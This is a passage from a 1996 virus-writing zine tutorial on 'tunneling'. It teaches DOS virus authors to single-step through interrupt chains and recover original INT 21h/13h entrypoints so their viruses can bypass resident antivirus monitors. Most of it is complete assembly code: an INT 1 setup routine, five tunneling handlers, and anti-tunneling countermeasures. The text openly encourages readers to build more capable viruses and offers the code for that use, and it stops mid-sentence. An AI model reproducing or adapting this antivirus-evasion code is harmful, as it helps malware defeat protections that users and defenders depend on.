home *** CD-ROM | disk | FTP | other *** search
Text File | 1996-10-25 | 56.5 KB | 1,182 lines |
-
- /-----------------------------\
- | Xine - issue #1 - Phile 010 |
- \-----------------------------/
-
- ┌───────────────────────────────────────┐
- │ Tunneling │
- │ with │
- │ Single step mode │
- └───────────────────────────────────────┘
-
- ┌──────────────┐
- │ Introduction │
- └──────────────┘
- You are an amoeba, the lowest level life form of assembly coder around.
- After struggling away from conventional programming ideas into the strange
- murky world of viruses, you've steadily built up your library of techniques
- to use in your viruses and have advanced to a fairly decent level of
- accomplishment, a parasitic TSR COM infector. Now, with such a great
- technological marvel under your belt, you, the amoeba, are beginning to ask
- some serious questions about more advanced virus programming techniques, such
- as... how do I stealth? what is polymorphism? what is tunneling? and
- unfortunately, you're not getting many answers back. Well, finally, there's
- someone who understands the position you're in. Little amoeba, prepare to
- become leet.
-
- Yes, that's right, you are now reading the series of documents that will
- change your views about virus coding and yes, even the world situation in
- general, forever. No longer will your creations wallow in the shadows of
- crappy AV behaviour blockers. No longer will your viruses simply go around
- copying themselves from computer to computer, languidly taking orders from
- shitty AV software. From this document onwards, your viruses will be the
- boss... the way things were meant to be!
-
- Yes, welcome to my series of documents on tunneling, the only series that
- will teach you absolutely everything there is to know about tunneling... with
- easy to understand step by step instructions and complete source codes and
- example programs for you to look at, because, after all, you're only an amoeba!
- If however, you're an amoeba bent on the destruction of the Earth with your
- mega-cool destructive viruses, fuck off, there is no room for you. Virus
- coding is an art, lets keep it that way.
-
- ┌────────────────────┐
- │ What is tunneling? │
- └────────────────────┘
- So now you've read that and I've got you all excited, you're beginning to
- think hard about what tunneling could possibly be and what makes it cool enough
- to write a four document series on. Tunneling, in the simplest terms possible,
- is a technique used to find the original entrypoint of an interrupt before any
- programs began hooking into it. What does this mean? Well, if you have the
- original interrupt entrypoint, your viruses will be able to flow over resident
- AV programs with ease, bypassing any protection they may offer, rendering them
- useless. Now wouldn't that be nice?
-
- ┌────────────────────────────────────┐
- │ What types of tunneling are there? │
- └────────────────────────────────────┘
- Of course, tunneling isn't as simple as just one technique. Just like
- many other methods used in virus programming, tunneling can be performed in
- many different ways, each having reasons it should be implemented over the
- others (pros) and reasons it shouldn't (cons). Methods of tunneling come in
- three main flavours: single steppers, code scanners, and code emulators.
-
- This series will teach you EVERYTHING you need to know about tunneling
- and associated topics, and the documents within it need to be read one after
- the other so you can fully understand what I'm talking about. Since the area
- of tunneling hasn't got many official terms assigned to it, I've had to give
- names to various things etc, but this doesn't mean everyone calls these
- things by the same name.
-
- ─────────────────────────────────────────────────────────────────────────────
- Section 1: How interrupts work (ONLY for the lesser amoeba among us)
- ─────────────────────────────────────────────────────────────────────────────
- Bit fields of the flags register
-
- │F│E│D│C│B│A│9│8│7│6│5│4│3│2│1│0│
- OF Overflow Flag ───────────┘ │ │ ^ │ │ │ │ └─── CF Carry Flag
- DF Direction Flag ─────────────┘ │ │ │ │ │ └─────── PF Parity Flag
- IF Interrupt Flag ───────────────┘ │ │ │ └─────────── AF Auxiliary Flag
- TF Trap Flag ─────────────────┘ │ └─────────────── ZF Zero Flag
- └───────────────── SF Sign Flag
-
- The interrupt vector table (IVT) is a list of 256 doublewords starting at
- address 0:0 and going to address 0:400h. Each doubleword is a segment:offset
- pair, pointing to addresses in memory where execution is to go to once you
- execute the interrupt corresponding to the doubleword. Each doubleword is
- given a number, starting from 0, and that is its corresponding interrupt. So,
- at the address 0:0 is a doubleword pointer to the interrupt 0 handler, at the
- address 0:4 is a doubleword pointer to the interrupt 1 handler, and so on.
-
- To do an interrupt, you execute the 'INT x' instruction where x is the
- interrupt number you want to execute. When you do this instruction, the CPU
- does the following things in order:
- decrements SP by 2 and copies the flags register to SS:SP
- clears the TF and IF bits in the flags register
- decrements SP by 2 and copies CS register to SS:SP
- decrements SP by 2 and copies IP register to SS:SP
- loads CS:IP with the doubleword at [0:(x*4)] (the doubleword in the
- IVT corresponding with your 'x' value)
-
- When an interrupt handler finishes its work, it returns to the calling code
- by using an 'IRET', which effectively is a RETF followed by a POPF. When an
- interrupt wishes to modify the flags register for the calling code, such as to
- indicate an error occured, it must modify the flags register as saved on the
- stack, because that is what the end-result flags will look like, or
- alternatively, issue a 'RETF 2' which will execute a RETF, skipping the flags
- on the stack, leaving the current flags as the returned flags.
-
- When a program wishes to hook an interrupt, it redirects the interrupt to
- itself by updating the corresponding doubleword in the IVT. Also, when
- writing your interrupt handler (the code executed when someone does the
- corresponding interrupt), there are some things you need to take into mind.
-
- First, you must remember that before you hooked the interrupt, there was an
- interrupt there before you :) You have to decide wether to ignore that
- interrupt or to execute it before or after your own interrupt code. If you
- were to ignore something like interrupt 021h (DOS's function handler) after
- replacing it with your own, your computer would screw up :) However, hooking a
- NULL interrupt (one that isn't used by anyone else) you can just ignore the
- previous handler and replace it on exit (if your interrupt handler is only
- temporary).
-
- However, normally, you'll want to pass control on to their previous
- interrupt handler, which can be done in two ways depending on what you are
- really trying to do. You can either use post or pre execution chaining.
- When you pre-execute, you call the original interrupt handler in your code
- before you start doing whatever it is your interrupt handler does, with a
- simulated interrupt call, usually something like:
- pushf
- call far ptr [saved_address]
-
- If you want your code to be executed before the other interrupt handler
- (for reasons such as to intercept a certain function call of that interrupt)
- you use post execution chaining, by adding this to the end of your interrupt
- handler:
- jmp far ptr [saved_address]
-
- In pre-execution chaining, you have the responsibility to pass control back
- to the calling code with one of the two return models, and in post-execution
- chaining, you don't need to pass control back, as that's the duty of the next
- interrupt handler in the chain. One last thing to remember, is that when using
- pre-execution, you must preserve the flags from the return of that interrupt in
- case some error condition is set in the flags the calling code needs to know
- about. If you don't preserve the flags, you're in for alot of trouble. For
- instance:
- my_stupid_interrupt_handler:
- pushf
- call far ptr [old_interrupt_address]
- ; Call the old interrupt handler, which returns
- ; an error condition
- ... blah blah blah, lots of code
- ; Our code fucks with the flags and shit while
- ; doing its job
- iret
- ; We exit our interrupt handler, restoring
- ; the original flags and losing ALL the old
- ; flag information
-
- my_smart_interrupt_handler:
- pushf
- call far ptr [old_interrupt_address]
- ; Call the old interrupt handler, which returns
- ; an error condition
- pushf ; We save the flags on return from the
- ; interrupt
- ... blah blah blah, lots of code
- ; Our code fucks with the flags and shit while
- ; doing its job
- popf ; We restore the flags as they were on return
- ; from the old interrupt handler
- retf 2 ; We exit with these flags instead of the
- ; flags pushed on the stack on execution
- ; of the interrupt
-
- When you execute an interrupt that has been hooked by others, each
- interrupt handler passes on control to the previous interrupt by one of these 2
- types of chaining constructs. This 'chain' of interrupt handlers is called the
- interrupt chain, and will be referred to as such from here onwards.
-
- ─────────────────────────────────────────────────────────────────────────────
- Section 2: Single step mode
- ─────────────────────────────────────────────────────────────────────────────
- Single step mode was created by INTEL way back in the days of the 8088
- processor and is available in each processor after this, which is good for us
- since our tunneling routine will now be compatable on all INTEL compatable
- processors. Single step mode was originally created by INTEL to aid in the
- creation of debugging programs, and luckily for us it is very usefull in
- viruses and tunneling.
-
- The CPU has a bit in the flags called the TF. The TF decides whether the
- CPU is in single step mode or not. If it is set, single step mode is on, and
- if it is cleared, then single step mode is off. Before executing each
- instruction, the CPU checks to see if the TF is set, and if it is, it does an
- INT 1. When INT 1 has finished, it executes the instruction and repeats the
- cycle. As such, on the entry to each INT 1, the stack will contain the CS:IP
- of the instruction that is about to be executed on exit from the interrupt (and
- also the flags to be restored after the end of the interrupt, but the
- information on the stack is NOT in this order). On computer bootup, the INT 1
- address is set up to point to an 'IRET' in the ROM BIOS code.
-
- The reason single step mode is beneficial to us is that we can set up our
- own INT 1 handler and single step our way through another program's interrupt
- handler code. As we go through their interrupt code, we can check the CS:IP of
- each instruction, or the instruction itself, to see if it is at the original
- entrypoint of the interrupt, and if it is we can save this address in a
- variable we can use anytime to bypass resident AV programs.
-
- For example, say we have a bad AV program that has hooked into INT 13 (the
- disk handler interrupt) and warns the user when any code writing to the
- bootsector of disks is detected. It might look something like this:
- interrupt_handler:
- ... checks registers for a disk write to boot sector ...
- je warn_user
- jmp far ptr [original_interrupt_13]
- ; Chain back to the previous interrupt 13
- warn_user:
- ... warning lights, ding ding, sirens, blah blah blah ...
-
- Now, in our INT 1 handler with single stepping mode on, we are called
- before every instruction you saw above is executed. In our interrupt handler
- we might look something like this:
- our_handler:
- ... get CS:IP of instruction about to be executed off of stack ...
- ... see if we're at the original interrupt entrypoint ...
- jne exit_handler
- ... save address of instruction's CS:IP as interrupt entrypoint ...
- exit_handler:
- ... exit, no need to chain back to other handlers ...
-
- In this way, we can setup single step mode, execute an INT 13 using a
- 'safe' command.. such as 'Request Disk Status' or something that won't set off
- the AV... and our INT 1 handler will, in the end, have saved the address of the
- interrupt entrypoint, which from then on we can use, bypassing the AV software
- altogether. How we detect if we're at the original interrupt entrypoint will
- be discussed later.
-
- There are a few different ways to implement an INT 1 handler that will tell
- us the original interrupt entrypoint, and this is where you can prove yourself
- to be more than just another amoeba, by creating innovative INT 1 handlers.
- But since this is a tutorial, I'll teach you a few methods of both tried and
- true INT 1 handlers and a few of the more rare ones. But first we need to
- learn how to set up for single step mode.
-
- Recall from earlier our discussion on how the CPU handles an 'INT x'
- instruction and how we turn on single step mode. You may remember that the TF
- toggles between single step modes off/on, and that an 'INT x' instruction turns
- off the TF after saving the flags onto the stack. You may also remember that
- the reason we are learning how to use single step mode is to tunnel an
- interrupt. If you put two and two together you'll realise that if we turn on
- single step mode and execute an 'INT x' instruction in an effort to tunnel an
- interrupt, our TF will be cleared for the duration of the interrupt execution
- and therefore our single step mode and interrupt handler disabled. On exit
- from the interrupt, our flags are popped off of the stack, and our INT 1
- handler is re-enabled.
-
- Also, if we simply hook INT 1, turn on single step mode, and execute the
- interrupt we are trying to tunnel, our damn single step mode won't be active
- for the duration of the interrupt! The answer to our prayers is simulating the
- 'INT x' instruction, which is stupendously easy to do. Simply push the flags
- onto the stack and issue a far call to the address of the interrupt you are
- executing. You must also remember to set the registers required for use by the
- interrupt, just as in an 'INT x' instruction. Be sure to have a spare copy of
- the flags saved on the stack without the TF set so on exit from the interrupt
- handler you can disable single step mode easily.
-
- Now that you know all about single step mode and what needs to be done to
- use it, we can now start writing the actual setup and calling code for a
- tunneling routine. In our sample routine, no provisions are made for delta
- offsets, but they can easily be added later on if necessary. Also, DS is
- assumed to equal CS for our example, and all code and data is within the same
- segment (as per usual for viruses).
-
- tunneler proc near
- push ds ; don't want to destroy our DS do we?
- mov ax, 03501h
- int 021h
- mov [orig_1], bx
- mov [orig_1+2], es ; store original INT 1 address
-
- xor ax, ax
- mov es, ax
- cli
- mov word ptr [es:4], offset int_1_handler
- mov [es:6], cs
- sti ; redirect INT 1 to our routine
- mov [return_address], 0
- mov [return_address+2], 0 ; set our initial variable (which holds the
- ; address of the original interrupt
- ; entrypoint on exit from our handler)
- ; to 0000:0000
-
- ; We can add some code here which is for the setup of specific types
- ; of INT 1 handlers
-
- xor ax, ax
- mov ds, ax ; our DS points to IVT
-
- pushf ; save copy of flags with TF cleared
- pushf
- pop ax
- or ah, 1
- push ax
- popf ; set TF
-
- ; We set up the registers for our interrupt call here
-
- pushf
- call far ptr [(xx*4)] ; simulate interrupt (xx=interrupt number)
- ; *4 because that's the length of a dword
-
- popf ; disable single step mode
-
- xor ax, ax
- mov es, ax
- cli
- mov ax, [cs:orig_1]
- mov [4], ax
- mov ax, [cs:orig_1+2]
- mov [6], ax
- sti ; reset INT 1 handler to original
-
- pop ds ; don't want to destroy our DS do we?
- ret
- tunneler endp
-
- ─────────────────────────────────────────────────────────────────────────────
- Section 3: Single step mode interrupt routines
- ─────────────────────────────────────────────────────────────────────────────
- All that was well and easy, but now, what about the actual INT 1 handler
- itself? Well, from here it starts getting complicated, but, for an advanced
- amoeba such as you it shouldn't take too long to understand. So far we
- haven't really delved much into how we know if we've found the original
- interrupt entrypoint yet or not, because it depends totally on the INT 1
- handler you choose to use. From here, I will show you five methods, and
- discuss the strong and weak points of each. From this point I will only
- discuss the tunneling of interrupts 021h and 013h, as these are the main ones
- you'll need. Depending on which interrupt routine you use, other interrupts
- can be tunneled just as easily as these two.
-
- ┌──────────────────────┐
- │ SEGMENT CHECK method │
- └──────────────────────┘
- The SEGMENT CHECK method of tunneling is probably the very first single
- step tunneling routine to ever be used, or at least, I've seen it used in
- viruses older than any of the viruses using the newer techniques.
- Unfortunately, people aren't really using it much anymore these days, which
- is a shame considering it is such a great routine.
-
- In case you didn't know, DOS allocates memory from the bottom up.. that
- is.. from above the IVT and BIOS data area, up to the top of available
- memory. The very first things that load off of a DOS disk are IO.SYS and
- MSDOS.SYS, which contains the I/O routines and DOS kernel respectively. The
- DOS kernel is the real workhorse for all of DOS as it does most of the
- housekeeping tasks for DOS and also houses the original interrupt 021h
- vector.
-
- DOS organises memory into blocks with header information called an MCB,
- short for Memory Control Block. The very first MCB that DOS allocates is
- used for the storage of resident programs loading out of CONFIG.SYS, and is
- located just above the DOS kernel in memory. To find the first MCB block we
- use the code below, however it is for DOS versions 3.00 and above only.
- Early on in your code you can check the DOS version and if it is BELOW 3.00,
- you should probably bail out of your virus anyway. If this annoys you
- however, you can check the CONS section of this routine for another method of
- using the first_mcb value.
-
- get_first_mcb proc near
- mov ah, 052h
- int 021h ; get DOS information list
- mov ax, [es:bx-2] ; get FIRST_MCB field
- mov [first_mcb], ax ; save it into a variable
- ret
- get_first_mcb endp
-
- If you cast your mind back to our original discussion on why single step
- mode is beneficial for us, you'll remember I said that we can check the CS:IP
- of each instruction so we can see if we're near the original interrupt
- entrypoint. So, now that we know this entrypoint is located in the DOS
- kernel, and that the DOS kernel lies just below the first MCB (which we have
- the address of), we can begin to write our INT 1 handler. Its job will be to
- check the CS:IP of each instruction as it is about to be executed, and see if
- the CS: is below the first MCB. If it is, we are in the DOS kernel, and we
- save the CS:IP value as the original interrupt entrypoint, and we disable
- ourselves.
-
- For tunneling interrupt 013h, we can go about segment checks in two ways,
- the old way, or the new way. The old way was developed back before things
- like extended/expanded memory, etc, and as such, as you'll see later, it
- doesn't work well in the newer environments. The new way is alot more
- compatible with these systems, but may not be compatible with all strange
- DOS-hacks such as DR-DOS/PC-DOS. It might be, I just don't know.
-
- The old way depends on the REAL original entrypoint to interrupt 013h
- residing in the ROM BIOS, which is where the hard-coded bios routines are
- located that your computer uses to boot up. This used to be okay, as you
- simply checked the CS: of each instruction against the ROM BIOS segment, and if
- it was equal, you're in the original interrupt entrypoint so you save the value
- and exit, just like the DOS kernel method. However, this has some problems in
- that, the ROM BIOS segments for interrupt 013h aren't always in the same place
- for different computers. Some start at 0c800 and, some at 0f000h, and you don't
- know which one the disk handler is stored in beforehand.
-
- However, this method has complications in the computers of today, depending
- on how you code your routine. If you decide to check for CS>=0c800h, as most
- viruses do to cover both the old and new style ROM BIOS segments, you're in
- trouble. DOS 5+ designed something called the UMB(upper memory block), which
- is a method of storing data in the holes between the BIOS ROM's in upper
- memory. This causes a problem for us in that these addresses can be above the
- ROM BIOS segment we define, unless we use 0f000h as our segment, and this isn't
- valid on some computers. On top of this, there is another place ABOVE 0f000h
- where we can store data on 286 and above computer systems, so checking for
- CS>=0f000h won't work either. To combat this, simply modify your code to check
- for CS=0c800h OR CS=0f000h, or use the new routine. The problem with checking
- for both, is that it is feasable that some ROM BIOS manufacturers, on bootup,
- dont align their interrupt handlers on proper segment boundaries (like instead
- of 0f000:00010h, they use 0f001:0000h which equates to the same physical
- address). I have not, however, seen a computer like this as yet.
-
- So, although we could use the old routine, it is not recommended. So, what
- can we do? Well, we use the next best thing available to us, the handler DOS
- appends onto the original interrupt 013h as soon as it loads up. This handler
- is *ALWAYS* in segment 070h (for MS-DOS at least), and so we have a constantly
- valid address in the DOS kernel we can tunnel to. Perfect, our problem is
- solved as the brand of computer and memory installed doesn't matter anymore!
- Our handler will check for CS:=070h, and if it is equal, CS:IP is saved. The
- extra bonus with this method is we can combine it into the same routine as
- tunneling for interrupt 021h by simply changing the first_mcb value to 070h and
- calling the same routine, saving us code space.
-
- ; Start of INT 1 handler using SEGMENT CHECK method
- first_mcb dw 0
- segment_status db -1
- segment_type db 0 ; 0=DOS KERNEL scan
- ; 1=IO KERNEL scan
- ; 2=ROM BIOS scan
- segment_handler proc far
- push bp
- mov bp, sp
- push ax
- cmp [cs:segment_status], 0
- je segment_exit ; exit if we've finished tunneling already
- mov ax, [bp+4] ; get CS:
- cmp [cs:segment_type], 1
- je segment_io_scan
- cmp [cs:segment_type], 2
- je segment_bios_scan
- cmp ax, [cs:first_mcb]
- jb segment_found ; check CS: is in DOS kernel
- jmp segment_exit
- segment_io_scan:
- cmp ax, 070h
- je segment_found
- jmp segment_exit ; check CS: is in IO kernel
- segment_bios_scan:
- cmp ax, 0c800h ; check for XT bios
- je segment_found
- cmp ax, 0f000h ; check for XT+ bios
- je segment_found
- segment_exit:
- pop ax
- pop bp
- iret
- segment_found:
- mov ax, [bp+4]
- mov [cs:return_address+2], ax
- mov ax, [bp+2]
- mov [cs:return_address], ax ; save CS:IP
- mov [cs:segment_status], 0 ; indicate to stop tunneling
- jmp segment_exit
- segment_handler endp
- ; End of INT 1 handler using SEGMENT CHECK method
-
- ┌──────┐
- │ Pros │
- └──────┘
- Using segment checks for tunneling has many various pros. The routine
- itself is very small, and also quick and easy to code. Also, the routine
- itself has withstood the test of time, as it was invented back in the time of
- viruses such as DARK AVENGER and FRODO, and it still works!
-
- ┌──────┐
- │ Cons │
- └──────┘
- I've heard that some memory managers can play around with the address
- returned as the first MCB by DOS's get list-of-lists function, making this
- routine worthless in such cases, however, I have not been able to
- substantiate these remarks. If it IS true, then the kernel is still below
- the first MCB it's just the first MCB address has been hidden from your view.
- If you're really picky, I've also heard the DOS kernel is ALWAYS below
- segment 0300h, and as such you could use this as your first_mcb value just
- incase a memory manager decides to make things difficult for you. However,
- once again, that remark is, so far, unsubstantiated.
-
- Finally, this is sortof DOS-version dependant. I'm not sure it will work
- on all the generic DOS versions, as they could be using different segment
- values and stuff to store data and code in, as no normal program will ever rely
- on DOS code being in certain segments to function properly, and as such they
- have no need NOT to change segments around.
-
- ┌───────────────────────┐
- │ HAND-over-HAND method │
- └───────────────────────┘
- I call this method the HAND-over-HAND method because it is similar to
- slowly pulling yourself up the interrupt chain that you are tunneling. It is
- very similar to the SEGMENT CHECK method, but slightly different and works by
- using a different idea.
-
- To start off with, we have a variable set up with the hand_segment variable
- equal to 0ffffh. Then, in our interrupt handler, we compare the CS: of the
- hand_segment variable against the CS: of the instruction we are about to
- execute. If our instruction is in a lower part of memory than the interrupt
- handler, we save its CS:IP and update the hand_segment with its CS: value.
- This continues until our interrupt handler is disabled. By the end, of the
- interrupt chain, the last CS:IP value we saved is the lowest level of interrupt
- handler control is passed to.
-
- When we handle the different types of INT 13 tunneling, however, we need to
- modify our code. For the old method of ROM BIOS detection, we must go UP in
- memory, as the ROM BIOS is at the top of memory, not down the bottom. For the
- new style scanning, we can use the same routine as for the INT 21 handler.
-
- ; Start of INT 1 handler using HAND-over-HAND method
- hand_segment dw 0 ; Where we save our CS: values
- hand_type db 0 ; 0=Go down
- ; 1=Go up
- hand_handler proc far
- push bp
- mov bp, sp
- push ax
- mov ax, [bp+4]
- cmp byte ptr [cs:hand_type], 1
- je go_up
- go_down:
- cmp ax, [cs:hand_segment]
- jb hand_over_hand
- jmp hand_exit
- go_up:
- cmp ax, [cs:hand_type]
- ja hand_over_hand
- hand_exit:
- pop ax
- pop bp
- iret
- hand_over_hand:
- mov [cs:return_address+2], ax
- mov [cs:hand_segment], ax
- mov ax, [bp+2]
- mov [cs:return_address], ax ; save CS:IP
- jmp hand_exit
- hand_handler endp
- ; End of INT 1 handler using HAND-over-HAND method
-
- ┌──────┐
- │ Pros │
- └──────┘
- It's small, and doesn't rely on hard coded segments like the SEGMENT CHECK
- method does.
-
- ┌──────┐
- │ Cons │
- └──────┘
- Once again, it may not work on all DOS versions, however, I can't see any
- reason for it NOT to work on DR-DOS and the like.
-
- ┌─────────────────────┐
- │ OPCODE CHECK method │
- └─────────────────────┘
- Now that you know how to use the SEGMENT CHECK method, it's time to move
- onto greener pastures and learn more advanced methods of single step
- tunneling. The method I'm about to show you isn't too crash hot, even though
- it has been used in some rather major viruses (LADY DEATH is one recent one).
- It is shown to you merely as a stepping stone into the next single step
- routine, and you also need to know this one off by heart in the next document
- in this tunneling series.
-
- This method is based on the fact that when a program hooks into an
- interrupt chain, somewhere in its interrupt handler it should pass control
- onto the next interrupt handler in the chain. This is especially true for
- interrupts 021h and 013h, but pretty much the same for all the other
- interrupts too.
-
- I have never seen the interrupt handlers of two programs in the same
- segment, and I doubt there ever will be such a case, and so, to pass control
- onto another handler, the interrupt handler must use some method of execution
- transferrance such as:
- jmp far ptr offset:seg
- OR
- jmp far ptr [variable_holding_address]
- OR
- call far ptr offset:seg
- OR
- call far ptr [variable_holding_address]
-
- Anyway, the job of our INT 1 handler in this section is the check the
- instruction currently being executed by the CPU for a 'JMP FAR' or a 'CALL
- FAR'. Each time we see instructions like these, we save the address of where
- we will be next over our previous original interrupt handler address, and
- hopefully, when the last interrupt handler chains back to the original handler
- , we will have our CS:IP, as the last handler in the chain does not usually
- execute far jumps itself. If the interrupt we are tunneling has not been
- hooked, a value will not be returned as the original interrupt entrypoint.
-
- The only other thing to note before going into the actual code for this,
- is about segment overrides. The instructions shown above, when referencing a
- variable, can use segment overrides. The CPU sees the segment overrides and
- the instruction after it as one whole instruction, and as such we need to
- take out the overrides if they're there, and use them later if needed, which
- is surprisingly easy to do.
-
- ; Start of INT 1 handler using OPCODE CHECK method
- _override dw 0 ; used to store current override
- _cs dw 0 ; CS of instruction being executed, needed
- ; to simplify override usage
- _ds dw 0 ; DS before we modified it, needed to
- ; simplify override usage
-
- opcode_handler proc far
- push bp
- mov bp, sp
- push ax
- push si
- push ds ; save registers
- mov ax, [bp+4]
- mov [cs:_cs], ax ; save CS
- mov [cs:_ds], ds ; save DS
- mov [cs:_override], ds ; setup override as default
- lds si, [bp+2] ; get address of instruction into DS:SI
- cld
- read_opcode:
- lodsb
- cmp al, 026h
- je es_override ; use ES override
- cmp al, 036h
- je ss_override ; use SS override
- cmp al, 02eh
- je cs_override ; use CS override
- cmp al, 03eh
- je ds_override ; use DS override
-
- cmp al, 0eah
- je immediate ; jmp far off:seg
- dec si
- lodsw
- cmp ax, 02effh
- je variable ; jmp far [variable]
- cmp ax, 09ah
- je immediate ; call far off:seg
- cmp ax, 01effh
- je variable ; call far [variable]
-
- opcode_exit:
- pop ds
- pop si
- pop ax
- pop bp
- iret
-
- immediate:
- lodsw
- mov [cs:return_address], ax
- lodsw
- mov [cs:return_address+2], ax ; save address of area we're going into
- jmp opcode_exit
-
- variable:
- lodsw
- mov si, ax
- mov ax, [cs:_override]
- mov ds, ax
- jmp immediate ; extract off:seg
-
- ds_override:
- mov ax, [cs:_ds]
- mov [cs:_override], ax
- jmp read_opcode
- cs_override:
- mov ax, [cs:_cs]
- mov [cs:_override], ax
- jmp read_opcode
- es_override:
- mov [cs:_override], es
- jmp read_opcode
- ss_override:
- mov [cs:_override], ss
- jmp read_opcode
- opcode_handler endp
- ; End of INT 1 handler using OPCODE CHECK method
-
- ┌──────┐
- │ Pros │
- └──────┘
- The good thing about this routine is that it isn't depending on any segment
- value. It is simply going along blindly saving information, and as such, it
- should work on mostly any interrupt which chains back to others, and doesn't
- have a flaw of not working on certain DOS implementations.
-
- ┌──────┐
- │ Cons │
- └──────┘
- Unfortunately, this routine has many cons. You cannot check for every
- method of jumping into another segment, and as such this routine could miss the
- important last value. Also, it is stupendously easy to confuse, and if the
- last interrupt handler in the chain does some intersegment jumps of its own
- (which although not likely, it is highly possible), you end up with a garbage
- original interrupt entrypoint value.
-
- ┌────────────────┐
- │ CS:LIST method │
- └────────────────┘
- This is a method I developed myself to fix up some of the problems
- associated with the OPCODE CHECK method. Although I haven't seen it used
- anywhere, it is highly possible somebody thought about it before me. Either
- way, all the code in this document is free for you to use anyway so it
- doesn't really matter :)
-
- This handler is the cream of the crop. Although it itself has some
- problems, it has the pros of OPCODE CHECK methods, and a lot less of the
- cons. It is based somewhat on both SEGMENT CHECK and OPCODE CHECK methods,
- and as such is highly robust :)
-
- We start of with a small list of words, about 10 or 15 should do it. To
- start with, we initalize the list to 0's and put the CS: of our code right at
- the top of the list. Then, for each time our INT 1 handler is called, we
- check the CS: value of the code we are executing against the values in the
- list. If there is a match, we do nothing. If we do NOT find a match for the
- CS: in the list, we must have done an intersegment jump, so we copy CS: into
- the next available slot in the list, and save the complete CS:IP as our
- original interrupt entrypoint. By the end of the interrupt chain, we will
- have a list of all the changes in CS: and the CS:IP of the last changed CS:
- to a previously undefined value, our original interrupt entrypoint.
-
- The last thing to note in this INT 1 handler is the check to make sure
- the CS: values don't outgrow the space allocated for them. If it does, they
- will start overwriting our code, and the computer will crash, and as such
- this check is necessary. Also, it sets the original interrupt entrypoint to
- 0:0 to tell the calling code the tunnel was unsuccessfull if this occurs.
-
- ; Start of INT 1 handler using CS:LIST method
- list_begin:
- dw 015h dup(0)
- list_end:
-
- list_handler proc far
- push bp
- mov bp, sp
- push ax
- push bx
- mov ax, [bp+4]
- lea bx, [list_begin]
- list_traverse:
- cmp bx, offset list_end
- je list_error ; this is a check to make sure the
- ; list of CS: values doesn't outgrow
- ; the space allocated for them
- cmp [cs:bx], ax
- je list_exit ; this is if the CS: is already on the
- ; list
- cmp word ptr [cs:bx], 0
- je list_insert ; add us to the list if we've reached the
- ; end of defined values
- add bx, 2
- jmp list_traverse ; this moves down to the next item on
- ; the CS: list
- list_insert:
- mov [cs:bx], ax ; put us on the list
- mov [cs:return_address+2], ax
- mov ax, [bp+2]
- mov [cs:return_address], ax ; save CS:IP value
- jmp list_exit
-
- list_error:
- mov [cs:return_address], 0
- mov [cs:return_address+2], 0 ; set error indicator
-
- list_exit:
- pop bx
- pop ax
- pop bp
- iret
- list_handler endp
- ; End of INT 1 handler using CS:LIST method
-
- ┌──────┐
- │ Pros │
- └──────┘
- The routine is far less susceptable to confusion, and it cannot miss
- intersegment jumps like the OPCODE CHECK method. It will not return a garbage
- address when run under an un-hooked interrupt.
-
- ┌──────┐
- │ Cons │
- └──────┘
- If the last interrupt handler in the interrupt chain does some intersegment
- jumps of its own (which although not likely, it is highly possible), you end up
- with a garbage original interrupt entrypoint value. However, if the code you
- are tunneling does some internal intersegment jumps of its own, your return
- address will once again be screwed just like in the OPCODE CHECK method.
-
- ┌───────────────────┐
- │ IRET CHECK method │
- └───────────────────┘
- There is yet another way to find our original interrupt handler. This
- method is used in a few viruses hanging around but isn't widely used. Why not?
- Well, it's hard to tell, I guess people just don't know about it. Also, my
- tests have found it to be somewhat unreliable for unknown reasons on my
- computer.
-
- Before we start tunneling, we make sure our iret_status is set to -1.
- Each time we detect a change in the current CS: value, we save the CS:IP. For
- each instruction we execute, we check if it is an 'IRET' instruction, and if
- so it means we've found the last interrupt in the chain, so we disable
- ourselves, keeping the CS:IP we logged before as the original interrupt
- entrypoint.
-
- ; Start of INT 1 handler using IRET method
- iret_status db -1
- iret_handler proc far
- push bp
- mov bp, sp
- push ax
- push ds
- push si
- cmp [cs:iret_status], 0
- je iret_exit
- mov ax, [cs:return_address+2]
- cmp [bp+4], ax
- jne iret_save
- lds si, [bp+2]
- lodsb
- cmp al, 0cfh
- je iret_exit_detected
- iret_exit:
- pop si
- pop ds
- pop ax
- pop bp
- iret
- iret_save:
- mov ax, [bp+4]
- mov [cs:return_address+2], ax
- mov ax, [bp+2]
- mov [cs:return_address], ax ; save CS:IP
- jmp iret_exit
- iret_exit_detected:
- mov [cs:iret_status], 0
- jmp iret_exit
- iret_handler endp
- ; End of INT 1 handler using IRET method
-
- ┌──────┐
- │ Pros │
- └──────┘
- Fairly reliable, but should be modified to handle IRET instructions hidden
- inside instruction prefixes before you use code like this. Also, it might be
- worthwhile to handle 'RETF 2' as well.
-
- ┌──────┐
- │ Cons │
- └──────┘
- You have to be carefull what function number you use in case an interrupt
- earlier in the chain has hooked that specific function and exits straight away
- with a return value without ever chaining back to previous interrupts.
-
- ─────────────────────────────────────────────────────────────────────────────
- Section 4: Anti-Tunneling and Anti-Anti-Tunneling for single step mode
- ─────────────────────────────────────────────────────────────────────────────
- As there is matter, there is anti-matter, and as there is tunneling,
- there is anti-tunneling, and as there is anti-tunneling, there is
- anti-anti-tunneling. All the techniques presented below apply, for now, only
- to single step tunneling. You can use the anti-tunneling methods in your
- viruses to keep AV tunnelers away, but remember that you are subject to the
- rules of anti-anti-tunneling too.
-
- ┌───────────────────────────────┐
- │ Detection with the FLAGS test │
- └───────────────────────────────┘
- The easiest way to check for a single step tunneler is by looking into
- the flags register for a set TF. The routine below will set the CF if a
- tunneler is present, and clear the CF if a tunneler is not present.
-
- check_for_tunneler proc near
- clc ; set to no tunneler by default
- pushf
- pop ax
- and ah, 1 ; clear all bits except for TF
- jz no_tunneler ; if TF is clear, no tunneler is present
- stc ; set CF because tunneler is in memory
- no_tunneler:
- ret ; return to calling code
- check_for_tunneler endp
-
- ┌────────────────────────┐
- │ Fooling the FLAGS test │
- └────────────────────────┘
- In flags testing, whoever is tunneling has the upper hand, as they can
- check the currently executing opcode for PUSHF/POPF and modify the results of
- these instructions. For example, to stop someone from seeing the TF set, you
- simply check if the last instruction executed was a PUSHF, and if so, you do an
- (AND byte ptr [ss:bp+8], 011111110b) which turns off the TF in the copy of the
- flags they have on the stack. Then, to stop someone from disabling single step
- mode by PUSHF'ing the flags register back onto the stack, you simply check for
- a PUSHF as the current instruction, and if it is there, do an (OR byte ptr
- [ss:bp+8], 1), turning the TF back on in the copy of the flags on the stack.
-
- The problem with chaging the flags on PUSHF in this way is that you may
- have just jumped to an address where, just below it, there is a PUSHF that
- wasn't executed! By modifying the stack in this scenario, you could very
